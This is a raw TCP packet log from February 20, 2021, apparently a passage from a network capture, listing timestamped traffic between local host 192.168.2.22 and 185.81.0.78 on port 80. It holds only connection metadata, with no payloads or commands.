Feb 20, 2021 02:03:51.287101984 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.287132978 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.287151098 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.287178993 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.287198067 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.287225962 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.287264109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.287313938 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.287358999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.287408113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.287444115 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.287493944 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.287523985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.287580013 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.287580013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.287607908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.287627935 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.287652016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.287663937 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.287714005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.287834883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.287869930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.287883997 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.287899971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.287919998 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.287928104 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.287960052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.287971973 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.287997007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.288024902 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.288045883 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.288058996 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.288074017 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.288104057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.288136005 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.288184881 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.288191080 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.288233042 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.288240910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.288259983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.288281918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.288304090 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.288321018 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.288368940 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.288373947 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.288408995 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.288424015 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.288439035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.288459063 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.288480043 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.288485050 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.288528919 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.288542986 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.288578987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.288587093 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.288610935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.288630009 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.288640022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.288655043 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.288670063 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.288686037 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.288722992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.299154043 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.322799921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.322874069 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.322918892 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.322945118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.322962999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.322988033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.322993994 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.323013067 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.323561907 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.323610067 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.323645115 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.323647022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.323659897 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.323684931 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.323708057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.323753119 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.323781013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.323831081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.323839903 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.323889017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.323889971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.323951960 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.323965073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.324023008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.324034929 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.324090958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.324105024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.324147940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.324167013 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.324233055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.324348927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.324419022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.324430943 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.324450016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.324481964 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.324491978 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.324537992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.324544907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.324595928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.324609041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.324652910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.324675083 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.324692011 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.324707031 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.324729919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.324744940 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.324769020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.324784994 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.324815035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.324835062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.324883938 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.324912071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.324979067 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.325017929 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.325056076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.325083017 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.325110912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.325124025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.325162888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.325184107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.325201035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.325226068 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.325268030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.325295925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.325349092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.325362921 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.325411081 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.325418949 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.325475931 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.325481892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.325514078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.325530052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.325578928 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.325594902 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.325628042 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.325638056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.325680971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.325689077 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.325721025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.325733900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.325757980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.325769901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.325812101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.325860023 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.325871944 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.325876951 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.325931072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.325934887 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.326051950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.326093912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.326102972 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.326132059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.326148987 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.326198101 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.326210022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.326250076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.326266050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.326313972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.326351881 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.326354980 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.326364040 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.326402903 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.326416969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.326458931 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.326473951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.326498032 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.326514006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.326818943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.327250957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.327289104 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.327331066 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.327338934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.327392101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.327441931 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.327512026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.327563047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.327656984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.327699900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.327708006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.327743053 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.327747107 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.327795029 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.327852964 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.327900887 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.327919006 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.327961922 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.327991962 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.328028917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.328037977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.328073978 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.328129053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.328171015 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.328176022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.328217030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.328222990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.328264952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.328290939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.328334093 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.328339100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.328378916 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.328419924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.328448057 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.328461885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.328474998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.328490019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.328520060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.328532934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.328569889 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.328577042 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.328613043 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.328645945 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.328676939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.328749895 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.328784943 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.328795910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.328836918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.328838110 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.328870058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.328883886 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.328896999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.328913927 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.328924894 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.328942060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.328958035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.328974009 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.329000950 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.329024076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.329052925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.329066038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.329081059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.329097033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.329129934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.329170942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.329200029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.329226971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.329242945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.329253912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.329298019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.329303026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.329332113 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.329345942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.329359055 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.329374075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.329410076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.329416037 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.329466105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.329466105 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.329497099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.329514980 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.329524994 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.329540968 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.329567909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.329639912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.329668045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.329696894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.329715014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.329730988 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.329758883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.329777956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.329792023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.329799891 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.329838037 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.329866886 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.329894066 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.329924107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.329936028 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.329937935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.329968929 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.329988003 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.329994917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.330013037 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.330029011 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.330046892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.330077887 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.330132008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.330164909 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.330179930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.330209970 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.330216885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.330240011 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.330265999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.330267906 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.330281019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.330312967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.330375910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.330413103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.330435038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.330440044 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.330456972 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.330487013 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.330526114 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.330579996 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.330581903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.330629110 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.330631971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.330678940 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.330681086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.330717087 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.330734968 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.330760956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.330786943 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.330815077 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.330835104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.330842972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.330858946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.330898046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.330931902 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.330960989 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.330981970 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.330987930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331006050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331017017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331036091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331058979 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331063986 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331091881 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331114054 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331119061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331136942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331146955 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331173897 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331188917 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331196070 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331227064 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331245899 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331262112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331269026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331310034 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331310987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331338882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331362009 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331366062 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331383944 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331394911 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.331418991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331438065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.331444979 CET	80	49165	185.81.0.78	192.168.2.22
